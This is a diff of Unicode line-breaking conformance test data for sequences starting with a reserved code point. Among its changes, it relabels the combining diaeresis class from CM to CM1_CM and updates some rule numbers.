× 50005 × 000B ÷ # × [0.3] <reserved-50005> (XX_AL) × [6.0] <LINE TABULATION> (BK) ÷ [0.3]
× 50005 × 0020 × 000B ÷ # × [0.3] <reserved-50005> (XX_AL) × [7.01] SPACE (SP) × [6.0] <LINE TABULATION> (BK) ÷ [0.3]
-× 50005 × 0308 × 000B ÷ # × [0.3] <reserved-50005> (XX_AL) × [9.0] COMBINING DIAERESIS (CM) × [6.0] <LINE TABULATION> (BK) ÷ [0.3]
-× 50005 × 0308 × 0020 × 000B ÷ # × [0.3] <reserved-50005> (XX_AL) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) × [6.0] <LINE TABULATION> (BK) ÷ [0.3]
+× 50005 × 0308 × 000B ÷ # × [0.3] <reserved-50005> (XX_AL) × [9.0] COMBINING DIAERESIS (CM1_CM) × [6.0] <LINE TABULATION> (BK) ÷ [0.3]
+× 50005 × 0308 × 0020 × 000B ÷ # × [0.3] <reserved-50005> (XX_AL) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) × [6.0] <LINE TABULATION> (BK) ÷ [0.3]
× 50005 ÷ FFFC ÷ # × [0.3] <reserved-50005> (XX_AL) ÷ [20.01] OBJECT REPLACEMENT CHARACTER (CB) ÷ [0.3]
× 50005 × 0020 ÷ FFFC ÷ # × [0.3] <reserved-50005> (XX_AL) × [7.01] SPACE (SP) ÷ [18.0] OBJECT REPLACEMENT CHARACTER (CB) ÷ [0.3]
-× 50005 × 0308 ÷ FFFC ÷ # × [0.3] <reserved-50005> (XX_AL) × [9.0] COMBINING DIAERESIS (CM) ÷ [20.01] OBJECT REPLACEMENT CHARACTER (CB) ÷ [0.3]
-× 50005 × 0308 × 0020 ÷ FFFC ÷ # × [0.3] <reserved-50005> (XX_AL) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) ÷ [18.0] OBJECT REPLACEMENT CHARACTER (CB) ÷ [0.3]
+× 50005 × 0308 ÷ FFFC ÷ # × [0.3] <reserved-50005> (XX_AL) × [9.0] COMBINING DIAERESIS (CM1_CM) ÷ [20.01] OBJECT REPLACEMENT CHARACTER (CB) ÷ [0.3]
+× 50005 × 0308 × 0020 ÷ FFFC ÷ # × [0.3] <reserved-50005> (XX_AL) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] OBJECT REPLACEMENT CHARACTER (CB) ÷ [0.3]
× 50005 × 007D ÷ # × [0.3] <reserved-50005> (XX_AL) × [13.02] RIGHT CURLY BRACKET (CL) ÷ [0.3]
× 50005 × 0020 × 007D ÷ # × [0.3] <reserved-50005> (XX_AL) × [7.01] SPACE (SP) × [13.02] RIGHT CURLY BRACKET (CL) ÷ [0.3]
-× 50005 × 0308 × 007D ÷ # × [0.3] <reserved-50005> (XX_AL) × [9.0] COMBINING DIAERESIS (CM) × [13.03] RIGHT CURLY BRACKET (CL) ÷ [0.3]
-× 50005 × 0308 × 0020 × 007D ÷ # × [0.3] <reserved-50005> (XX_AL) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) × [13.02] RIGHT CURLY BRACKET (CL) ÷ [0.3]
+× 50005 × 0308 × 007D ÷ # × [0.3] <reserved-50005> (XX_AL) × [9.0] COMBINING DIAERESIS (CM1_CM) × [13.03] RIGHT CURLY BRACKET (CL) ÷ [0.3]
+× 50005 × 0308 × 0020 × 007D ÷ # × [0.3] <reserved-50005> (XX_AL) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) × [13.02] RIGHT CURLY BRACKET (CL) ÷ [0.3]
× 50005 × 0029 ÷ # × [0.3] <reserved-50005> (XX_AL) × [13.02] RIGHT PARENTHESIS (CP) ÷ [0.3]
× 50005 × 0020 × 0029 ÷ # × [0.3] <reserved-50005> (XX_AL) × [7.01] SPACE (SP) × [13.02] RIGHT PARENTHESIS (CP) ÷ [0.3]
-× 50005 × 0308 × 0029 ÷ # × [0.3] <reserved-50005> (XX_AL) × [9.0] COMBINING DIAERESIS (CM) × [13.03] RIGHT PARENTHESIS (CP) ÷ [0.3]
-× 50005 × 0308 × 0020 × 0029 ÷ # × [0.3] <reserved-50005> (XX_AL) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) × [13.02] RIGHT PARENTHESIS (CP) ÷ [0.3]
-× 50005 × 0001 ÷ # × [0.3] <reserved-50005> (XX_AL) × [9.0] <START OF HEADING> (CM) ÷ [0.3]
-× 50005 × 0020 ÷ 0001 ÷ # × [0.3] <reserved-50005> (XX_AL) × [7.01] SPACE (SP) ÷ [18.0] <START OF HEADING> (CM) ÷ [0.3]
-× 50005 × 0308 × 0001 ÷ # × [0.3] <reserved-50005> (XX_AL) × [9.0] COMBINING DIAERESIS (CM) × [9.0] <START OF HEADING> (CM) ÷ [0.3]
-× 50005 × 0308 × 0020 ÷ 0001 ÷ # × [0.3] <reserved-50005> (XX_AL) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) ÷ [18.0] <START OF HEADING> (CM) ÷ [0.3]
+× 50005 × 0308 × 0029 ÷ # × [0.3] <reserved-50005> (XX_AL) × [9.0] COMBINING DIAERESIS (CM1_CM) × [13.03] RIGHT PARENTHESIS (CP) ÷ [0.3]
+× 50005 × 0308 × 0020 × 0029 ÷ # × [0.3] <reserved-50005> (XX_AL) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) × [13.02] RIGHT PARENTHESIS (CP) ÷ [0.3]
× 50005 × 000D ÷ # × [0.3] <reserved-50005> (XX_AL) × [6.0] <CARRIAGE RETURN (CR)> (CR) ÷ [0.3]
× 50005 × 0020 × 000D ÷ # × [0.3] <reserved-50005> (XX_AL) × [7.01] SPACE (SP) × [6.0] <CARRIAGE RETURN (CR)> (CR) ÷ [0.3]
-× 50005 × 0308 × 000D ÷ # × [0.3] <reserved-50005> (XX_AL) × [9.0] COMBINING DIAERESIS (CM) × [6.0] <CARRIAGE RETURN (CR)> (CR) ÷ [0.3]
-× 50005 × 0308 × 0020 × 000D ÷ # × [0.3] <reserved-50005> (XX_AL) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) × [6.0] <CARRIAGE RETURN (CR)> (CR) ÷ [0.3]
+× 50005 × 0308 × 000D ÷ # × [0.3] <reserved-50005> (XX_AL) × [9.0] COMBINING DIAERESIS (CM1_CM) × [6.0] <CARRIAGE RETURN (CR)> (CR) ÷ [0.3]
+× 50005 × 0308 × 0020 × 000D ÷ # × [0.3] <reserved-50005> (XX_AL) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) × [6.0] <CARRIAGE RETURN (CR)> (CR) ÷ [0.3]
× 50005 × 0021 ÷ # × [0.3] <reserved-50005> (XX_AL) × [13.01] EXCLAMATION MARK (EX) ÷ [0.3]
× 50005 × 0020 × 0021 ÷ # × [0.3] <reserved-50005> (XX_AL) × [7.01] SPACE (SP) × [13.01] EXCLAMATION MARK (EX) ÷ [0.3]
-× 50005 × 0308 × 0021 ÷ # × [0.3] <reserved-50005> (XX_AL) × [9.0] COMBINING DIAERESIS (CM) × [13.01] EXCLAMATION MARK (EX) ÷ [0.3]
-× 50005 × 0308 × 0020 × 0021 ÷ # × [0.3] <reserved-50005> (XX_AL) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) × [13.01] EXCLAMATION MARK (EX) ÷ [0.3]
+× 50005 × 0308 × 0021 ÷ # × [0.3] <reserved-50005> (XX_AL) × [9.0] COMBINING DIAERESIS (CM1_CM) × [13.01] EXCLAMATION MARK (EX) ÷ [0.3]
+× 50005 × 0308 × 0020 × 0021 ÷ # × [0.3] <reserved-50005> (XX_AL) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) × [13.01] EXCLAMATION MARK (EX) ÷ [0.3]
× 50005 × 00A0 ÷ # × [0.3] <reserved-50005> (XX_AL) × [12.1] NO-BREAK SPACE (GL) ÷ [0.3]
× 50005 × 0020 ÷ 00A0 ÷ # × [0.3] <reserved-50005> (XX_AL) × [7.01] SPACE (SP) ÷ [18.0] NO-BREAK SPACE (GL) ÷ [0.3]
-× 50005 × 0308 × 00A0 ÷ # × [0.3] <reserved-50005> (XX_AL) × [9.0] COMBINING DIAERESIS (CM) × [12.2] NO-BREAK SPACE (GL) ÷ [0.3]
-× 50005 × 0308 × 0020 ÷ 00A0 ÷ # × [0.3] <reserved-50005> (XX_AL) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) ÷ [18.0] NO-BREAK SPACE (GL) ÷ [0.3]
+× 50005 × 0308 × 00A0 ÷ # × [0.3] <reserved-50005> (XX_AL) × [9.0] COMBINING DIAERESIS (CM1_CM) × [12.2] NO-BREAK SPACE (GL) ÷ [0.3]
+× 50005 × 0308 × 0020 ÷ 00A0 ÷ # × [0.3] <reserved-50005> (XX_AL) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] NO-BREAK SPACE (GL) ÷ [0.3]
× 50005 ÷ AC00 ÷ # × [0.3] <reserved-50005> (XX_AL) ÷ [999.0] HANGUL SYLLABLE GA (H2) ÷ [0.3]
× 50005 × 0020 ÷ AC00 ÷ # × [0.3] <reserved-50005> (XX_AL) × [7.01] SPACE (SP) ÷ [18.0] HANGUL SYLLABLE GA (H2) ÷ [0.3]
-× 50005 × 0308 ÷ AC00 ÷ # × [0.3] <reserved-50005> (XX_AL) × [9.0] COMBINING DIAERESIS (CM) ÷ [999.0] HANGUL SYLLABLE GA (H2) ÷ [0.3]
-× 50005 × 0308 × 0020 ÷ AC00 ÷ # × [0.3] <reserved-50005> (XX_AL) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) ÷ [18.0] HANGUL SYLLABLE GA (H2) ÷ [0.3]
+× 50005 × 0308 ÷ AC00 ÷ # × [0.3] <reserved-50005> (XX_AL) × [9.0] COMBINING DIAERESIS (CM1_CM) ÷ [999.0] HANGUL SYLLABLE GA (H2) ÷ [0.3]
+× 50005 × 0308 × 0020 ÷ AC00 ÷ # × [0.3] <reserved-50005> (XX_AL) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] HANGUL SYLLABLE GA (H2) ÷ [0.3]
× 50005 ÷ AC01 ÷ # × [0.3] <reserved-50005> (XX_AL) ÷ [999.0] HANGUL SYLLABLE GAG (H3) ÷ [0.3]
× 50005 × 0020 ÷ AC01 ÷ # × [0.3] <reserved-50005> (XX_AL) × [7.01] SPACE (SP) ÷ [18.0] HANGUL SYLLABLE GAG (H3) ÷ [0.3]
-× 50005 × 0308 ÷ AC01 ÷ # × [0.3] <reserved-50005> (XX_AL) × [9.0] COMBINING DIAERESIS (CM) ÷ [999.0] HANGUL SYLLABLE GAG (H3) ÷ [0.3]
-× 50005 × 0308 × 0020 ÷ AC01 ÷ # × [0.3] <reserved-50005> (XX_AL) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) ÷ [18.0] HANGUL SYLLABLE GAG (H3) ÷ [0.3]
+× 50005 × 0308 ÷ AC01 ÷ # × [0.3] <reserved-50005> (XX_AL) × [9.0] COMBINING DIAERESIS (CM1_CM) ÷ [999.0] HANGUL SYLLABLE GAG (H3) ÷ [0.3]
+× 50005 × 0308 × 0020 ÷ AC01 ÷ # × [0.3] <reserved-50005> (XX_AL) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] HANGUL SYLLABLE GAG (H3) ÷ [0.3]
× 50005 × 05D0 ÷ # × [0.3] <reserved-50005> (XX_AL) × [28.0] HEBREW LETTER ALEF (HL) ÷ [0.3]
× 50005 × 0020 ÷ 05D0 ÷ # × [0.3] <reserved-50005> (XX_AL) × [7.01] SPACE (SP) ÷ [18.0] HEBREW LETTER ALEF (HL) ÷ [0.3]
-× 50005 × 0308 × 05D0 ÷ # × [0.3] <reserved-50005> (XX_AL) × [9.0] COMBINING DIAERESIS (CM) × [28.0] HEBREW LETTER ALEF (HL) ÷ [0.3]
-× 50005 × 0308 × 0020 ÷ 05D0 ÷ # × [0.3] <reserved-50005> (XX_AL) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) ÷ [18.0] HEBREW LETTER ALEF (HL) ÷ [0.3]
+× 50005 × 0308 × 05D0 ÷ # × [0.3] <reserved-50005> (XX_AL) × [9.0] COMBINING DIAERESIS (CM1_CM) × [28.0] HEBREW LETTER ALEF (HL) ÷ [0.3]
+× 50005 × 0308 × 0020 ÷ 05D0 ÷ # × [0.3] <reserved-50005> (XX_AL) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] HEBREW LETTER ALEF (HL) ÷ [0.3]
× 50005 × 002D ÷ # × [0.3] <reserved-50005> (XX_AL) × [21.02] HYPHEN-MINUS (HY) ÷ [0.3]
× 50005 × 0020 ÷ 002D ÷ # × [0.3] <reserved-50005> (XX_AL) × [7.01] SPACE (SP) ÷ [18.0] HYPHEN-MINUS (HY) ÷ [0.3]
-× 50005 × 0308 × 002D ÷ # × [0.3] <reserved-50005> (XX_AL) × [9.0] COMBINING DIAERESIS (CM) × [21.02] HYPHEN-MINUS (HY) ÷ [0.3]
-× 50005 × 0308 × 0020 ÷ 002D ÷ # × [0.3] <reserved-50005> (XX_AL) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) ÷ [18.0] HYPHEN-MINUS (HY) ÷ [0.3]
+× 50005 × 0308 × 002D ÷ # × [0.3] <reserved-50005> (XX_AL) × [9.0] COMBINING DIAERESIS (CM1_CM) × [21.02] HYPHEN-MINUS (HY) ÷ [0.3]
+× 50005 × 0308 × 0020 ÷ 002D ÷ # × [0.3] <reserved-50005> (XX_AL) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] HYPHEN-MINUS (HY) ÷ [0.3]
× 50005 ÷ 231A ÷ # × [0.3] <reserved-50005> (XX_AL) ÷ [999.0] WATCH (ID) ÷ [0.3]
× 50005 × 0020 ÷ 231A ÷ # × [0.3] <reserved-50005> (XX_AL) × [7.01] SPACE (SP) ÷ [18.0] WATCH (ID) ÷ [0.3]
-× 50005 × 0308 ÷ 231A ÷ # × [0.3] <reserved-50005> (XX_AL) × [9.0] COMBINING DIAERESIS (CM) ÷ [999.0] WATCH (ID) ÷ [0.3]
-× 50005 × 0308 × 0020 ÷ 231A ÷ # × [0.3] <reserved-50005> (XX_AL) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) ÷ [18.0] WATCH (ID) ÷ [0.3]
+× 50005 × 0308 ÷ 231A ÷ # × [0.3] <reserved-50005> (XX_AL) × [9.0] COMBINING DIAERESIS (CM1_CM) ÷ [999.0] WATCH (ID) ÷ [0.3]
+× 50005 × 0308 × 0020 ÷ 231A ÷ # × [0.3] <reserved-50005> (XX_AL) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] WATCH (ID) ÷ [0.3]
× 50005 × 2024 ÷ # × [0.3] <reserved-50005> (XX_AL) × [22.01] ONE DOT LEADER (IN) ÷ [0.3]
× 50005 × 0020 ÷ 2024 ÷ # × [0.3] <reserved-50005> (XX_AL) × [7.01] SPACE (SP) ÷ [18.0] ONE DOT LEADER (IN) ÷ [0.3]
-× 50005 × 0308 × 2024 ÷ # × [0.3] <reserved-50005> (XX_AL) × [9.0] COMBINING DIAERESIS (CM) × [22.01] ONE DOT LEADER (IN) ÷ [0.3]
-× 50005 × 0308 × 0020 ÷ 2024 ÷ # × [0.3] <reserved-50005> (XX_AL) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) ÷ [18.0] ONE DOT LEADER (IN) ÷ [0.3]
+× 50005 × 0308 × 2024 ÷ # × [0.3] <reserved-50005> (XX_AL) × [9.0] COMBINING DIAERESIS (CM1_CM) × [22.01] ONE DOT LEADER (IN) ÷ [0.3]
+× 50005 × 0308 × 0020 ÷ 2024 ÷ # × [0.3] <reserved-50005> (XX_AL) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] ONE DOT LEADER (IN) ÷ [0.3]
× 50005 × 002C ÷ # × [0.3] <reserved-50005> (XX_AL) × [13.02] COMMA (IS) ÷ [0.3]
× 50005 × 0020 × 002C ÷ # × [0.3] <reserved-50005> (XX_AL) × [7.01] SPACE (SP) × [13.02] COMMA (IS) ÷ [0.3]
-× 50005 × 0308 × 002C ÷ # × [0.3] <reserved-50005> (XX_AL) × [9.0] COMBINING DIAERESIS (CM) × [13.03] COMMA (IS) ÷ [0.3]
-× 50005 × 0308 × 0020 × 002C ÷ # × [0.3] <reserved-50005> (XX_AL) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) × [13.02] COMMA (IS) ÷ [0.3]
+× 50005 × 0308 × 002C ÷ # × [0.3] <reserved-50005> (XX_AL) × [9.0] COMBINING DIAERESIS (CM1_CM) × [13.03] COMMA (IS) ÷ [0.3]
+× 50005 × 0308 × 0020 × 002C ÷ # × [0.3] <reserved-50005> (XX_AL) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) × [13.02] COMMA (IS) ÷ [0.3]
× 50005 ÷ 1100 ÷ # × [0.3] <reserved-50005> (XX_AL) ÷ [999.0] HANGUL CHOSEONG KIYEOK (JL) ÷ [0.3]
× 50005 × 0020 ÷ 1100 ÷ # × [0.3] <reserved-50005> (XX_AL) × [7.01] SPACE (SP) ÷ [18.0] HANGUL CHOSEONG KIYEOK (JL) ÷ [0.3]
-× 50005 × 0308 ÷ 1100 ÷ # × [0.3] <reserved-50005> (XX_AL) × [9.0] COMBINING DIAERESIS (CM) ÷ [999.0] HANGUL CHOSEONG KIYEOK (JL) ÷ [0.3]
-× 50005 × 0308 × 0020 ÷ 1100 ÷ # × [0.3] <reserved-50005> (XX_AL) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) ÷ [18.0] HANGUL CHOSEONG KIYEOK (JL) ÷ [0.3]
+× 50005 × 0308 ÷ 1100 ÷ # × [0.3] <reserved-50005> (XX_AL) × [9.0] COMBINING DIAERESIS (CM1_CM) ÷ [999.0] HANGUL CHOSEONG KIYEOK (JL) ÷ [0.3]
+× 50005 × 0308 × 0020 ÷ 1100 ÷ # × [0.3] <reserved-50005> (XX_AL) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] HANGUL CHOSEONG KIYEOK (JL) ÷ [0.3]
× 50005 ÷ 11A8 ÷ # × [0.3] <reserved-50005> (XX_AL) ÷ [999.0] HANGUL JONGSEONG KIYEOK (JT) ÷ [0.3]
× 50005 × 0020 ÷ 11A8 ÷ # × [0.3] <reserved-50005> (XX_AL) × [7.01] SPACE (SP) ÷ [18.0] HANGUL JONGSEONG KIYEOK (JT) ÷ [0.3]
-× 50005 × 0308 ÷ 11A8 ÷ # × [0.3] <reserved-50005> (XX_AL) × [9.0] COMBINING DIAERESIS (CM) ÷ [999.0] HANGUL JONGSEONG KIYEOK (JT) ÷ [0.3]
-× 50005 × 0308 × 0020 ÷ 11A8 ÷ # × [0.3] <reserved-50005> (XX_AL) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) ÷ [18.0] HANGUL JONGSEONG KIYEOK (JT) ÷ [0.3]
+× 50005 × 0308 ÷ 11A8 ÷ # × [0.3] <reserved-50005> (XX_AL) × [9.0] COMBINING DIAERESIS (CM1_CM) ÷ [999.0] HANGUL JONGSEONG KIYEOK (JT) ÷ [0.3]
+× 50005 × 0308 × 0020 ÷ 11A8 ÷ # × [0.3] <reserved-50005> (XX_AL) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] HANGUL JONGSEONG KIYEOK (JT) ÷ [0.3]
× 50005 ÷ 1160 ÷ # × [0.3] <reserved-50005> (XX_AL) ÷ [999.0] HANGUL JUNGSEONG FILLER (JV) ÷ [0.3]
× 50005 × 0020 ÷ 1160 ÷ # × [0.3] <reserved-50005> (XX_AL) × [7.01] SPACE (SP) ÷ [18.0] HANGUL JUNGSEONG FILLER (JV) ÷ [0.3]
-× 50005 × 0308 ÷ 1160 ÷ # × [0.3] <reserved-50005> (XX_AL) × [9.0] COMBINING DIAERESIS (CM) ÷ [999.0] HANGUL JUNGSEONG FILLER (JV) ÷ [0.3]
-× 50005 × 0308 × 0020 ÷ 1160 ÷ # × [0.3] <reserved-50005> (XX_AL) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) ÷ [18.0] HANGUL JUNGSEONG FILLER (JV) ÷ [0.3]
+× 50005 × 0308 ÷ 1160 ÷ # × [0.3] <reserved-50005> (XX_AL) × [9.0] COMBINING DIAERESIS (CM1_CM) ÷ [999.0] HANGUL JUNGSEONG FILLER (JV) ÷ [0.3]
+× 50005 × 0308 × 0020 ÷ 1160 ÷ # × [0.3] <reserved-50005> (XX_AL) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] HANGUL JUNGSEONG FILLER (JV) ÷ [0.3]
× 50005 × 000A ÷ # × [0.3] <reserved-50005> (XX_AL) × [6.0] <LINE FEED (LF)> (LF) ÷ [0.3]
× 50005 × 0020 × 000A ÷ # × [0.3] <reserved-50005> (XX_AL) × [7.01] SPACE (SP) × [6.0] <LINE FEED (LF)> (LF) ÷ [0.3]
-× 50005 × 0308 × 000A ÷ # × [0.3] <reserved-50005> (XX_AL) × [9.0] COMBINING DIAERESIS (CM) × [6.0] <LINE FEED (LF)> (LF) ÷ [0.3]
-× 50005 × 0308 × 0020 × 000A ÷ # × [0.3] <reserved-50005> (XX_AL) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) × [6.0] <LINE FEED (LF)> (LF) ÷ [0.3]
+× 50005 × 0308 × 000A ÷ # × [0.3] <reserved-50005> (XX_AL) × [9.0] COMBINING DIAERESIS (CM1_CM) × [6.0] <LINE FEED (LF)> (LF) ÷ [0.3]
+× 50005 × 0308 × 0020 × 000A ÷ # × [0.3] <reserved-50005> (XX_AL) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) × [6.0] <LINE FEED (LF)> (LF) ÷ [0.3]
× 50005 × 0085 ÷ # × [0.3] <reserved-50005> (XX_AL) × [6.0] <NEXT LINE (NEL)> (NL) ÷ [0.3]
× 50005 × 0020 × 0085 ÷ # × [0.3] <reserved-50005> (XX_AL) × [7.01] SPACE (SP) × [6.0] <NEXT LINE (NEL)> (NL) ÷ [0.3]
-× 50005 × 0308 × 0085 ÷ # × [0.3] <reserved-50005> (XX_AL) × [9.0] COMBINING DIAERESIS (CM) × [6.0] <NEXT LINE (NEL)> (NL) ÷ [0.3]
-× 50005 × 0308 × 0020 × 0085 ÷ # × [0.3] <reserved-50005> (XX_AL) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) × [6.0] <NEXT LINE (NEL)> (NL) ÷ [0.3]
+× 50005 × 0308 × 0085 ÷ # × [0.3] <reserved-50005> (XX_AL) × [9.0] COMBINING DIAERESIS (CM1_CM) × [6.0] <NEXT LINE (NEL)> (NL) ÷ [0.3]
+× 50005 × 0308 × 0020 × 0085 ÷ # × [0.3] <reserved-50005> (XX_AL) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) × [6.0] <NEXT LINE (NEL)> (NL) ÷ [0.3]
× 50005 × 17D6 ÷ # × [0.3] <reserved-50005> (XX_AL) × [21.03] KHMER SIGN CAMNUC PII KUUH (NS) ÷ [0.3]
× 50005 × 0020 ÷ 17D6 ÷ # × [0.3] <reserved-50005> (XX_AL) × [7.01] SPACE (SP) ÷ [18.0] KHMER SIGN CAMNUC PII KUUH (NS) ÷ [0.3]
-× 50005 × 0308 × 17D6 ÷ # × [0.3] <reserved-50005> (XX_AL) × [9.0] COMBINING DIAERESIS (CM) × [21.03] KHMER SIGN CAMNUC PII KUUH (NS) ÷ [0.3]
-× 50005 × 0308 × 0020 ÷ 17D6 ÷ # × [0.3] <reserved-50005> (XX_AL) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) ÷ [18.0] KHMER SIGN CAMNUC PII KUUH (NS) ÷ [0.3]
+× 50005 × 0308 × 17D6 ÷ # × [0.3] <reserved-50005> (XX_AL) × [9.0] COMBINING DIAERESIS (CM1_CM) × [21.03] KHMER SIGN CAMNUC PII KUUH (NS) ÷ [0.3]
+× 50005 × 0308 × 0020 ÷ 17D6 ÷ # × [0.3] <reserved-50005> (XX_AL) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] KHMER SIGN CAMNUC PII KUUH (NS) ÷ [0.3]
× 50005 × 0030 ÷ # × [0.3] <reserved-50005> (XX_AL) × [23.02] DIGIT ZERO (NU) ÷ [0.3]
× 50005 × 0020 ÷ 0030 ÷ # × [0.3] <reserved-50005> (XX_AL) × [7.01] SPACE (SP) ÷ [18.0] DIGIT ZERO (NU) ÷ [0.3]
-× 50005 × 0308 × 0030 ÷ # × [0.3] <reserved-50005> (XX_AL) × [9.0] COMBINING DIAERESIS (CM) × [23.02] DIGIT ZERO (NU) ÷ [0.3]
-× 50005 × 0308 × 0020 ÷ 0030 ÷ # × [0.3] <reserved-50005> (XX_AL) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) ÷ [18.0] DIGIT ZERO (NU) ÷ [0.3]
+× 50005 × 0308 × 0030 ÷ # × [0.3] <reserved-50005> (XX_AL) × [9.0] COMBINING DIAERESIS (CM1_CM) × [23.02] DIGIT ZERO (NU) ÷ [0.3]
+× 50005 × 0308 × 0020 ÷ 0030 ÷ # × [0.3] <reserved-50005> (XX_AL) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] DIGIT ZERO (NU) ÷ [0.3]
× 50005 × 0028 ÷ # × [0.3] <reserved-50005> (XX_AL) × [30.01] LEFT PARENTHESIS (OP) ÷ [0.3]
× 50005 × 0020 ÷ 0028 ÷ # × [0.3] <reserved-50005> (XX_AL) × [7.01] SPACE (SP) ÷ [18.0] LEFT PARENTHESIS (OP) ÷ [0.3]
-× 50005 × 0308 × 0028 ÷ # × [0.3] <reserved-50005> (XX_AL) × [9.0] COMBINING DIAERESIS (CM) × [30.01] LEFT PARENTHESIS (OP) ÷ [0.3]
-× 50005 × 0308 × 0020 ÷ 0028 ÷ # × [0.3] <reserved-50005> (XX_AL) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) ÷ [18.0] LEFT PARENTHESIS (OP) ÷ [0.3]
-× 50005 ÷ 0025 ÷ # × [0.3] <reserved-50005> (XX_AL) ÷ [999.0] PERCENT SIGN (PO) ÷ [0.3]
+× 50005 × 0308 × 0028 ÷ # × [0.3] <reserved-50005> (XX_AL) × [9.0] COMBINING DIAERESIS (CM1_CM) × [30.01] LEFT PARENTHESIS (OP) ÷ [0.3]
+× 50005 × 0308 × 0020 ÷ 0028 ÷ # × [0.3] <reserved-50005> (XX_AL) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] LEFT PARENTHESIS (OP) ÷ [0.3]
+× 50005 × 0025 ÷ # × [0.3] <reserved-50005> (XX_AL) × [24.03] PERCENT SIGN (PO) ÷ [0.3]
× 50005 × 0020 ÷ 0025 ÷ # × [0.3] <reserved-50005> (XX_AL) × [7.01] SPACE (SP) ÷ [18.0] PERCENT SIGN (PO) ÷ [0.3]
-× 50005 × 0308 ÷ 0025 ÷ # × [0.3] <reserved-50005> (XX_AL) × [9.0] COMBINING DIAERESIS (CM) ÷ [999.0] PERCENT SIGN (PO) ÷ [0.3]
-× 50005 × 0308 × 0020 ÷ 0025 ÷ # × [0.3] <reserved-50005> (XX_AL) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) ÷ [18.0] PERCENT SIGN (PO) ÷ [0.3]
-× 50005 ÷ 0024 ÷ # × [0.3] <reserved-50005> (XX_AL) ÷ [999.0] DOLLAR SIGN (PR) ÷ [0.3]
+× 50005 × 0308 × 0025 ÷ # × [0.3] <reserved-50005> (XX_AL) × [9.0] COMBINING DIAERESIS (CM1_CM) × [24.03] PERCENT SIGN (PO) ÷ [0.3]
+× 50005 × 0308 × 0020 ÷ 0025 ÷ # × [0.3] <reserved-50005> (XX_AL) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] PERCENT SIGN (PO) ÷ [0.3]
+× 50005 × 0024 ÷ # × [0.3] <reserved-50005> (XX_AL) × [24.03] DOLLAR SIGN (PR) ÷ [0.3]
× 50005 × 0020 ÷ 0024 ÷ # × [0.3] <reserved-50005> (XX_AL) × [7.01] SPACE (SP) ÷ [18.0] DOLLAR SIGN (PR) ÷ [0.3]
-× 50005 × 0308 ÷ 0024 ÷ # × [0.3] <reserved-50005> (XX_AL) × [9.0] COMBINING DIAERESIS (CM) ÷ [999.0] DOLLAR SIGN (PR) ÷ [0.3]
-× 50005 × 0308 × 0020 ÷ 0024 ÷ # × [0.3] <reserved-50005> (XX_AL) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) ÷ [18.0] DOLLAR SIGN (PR) ÷ [0.3]
+× 50005 × 0308 × 0024 ÷ # × [0.3] <reserved-50005> (XX_AL) × [9.0] COMBINING DIAERESIS (CM1_CM) × [24.03] DOLLAR SIGN (PR) ÷ [0.3]
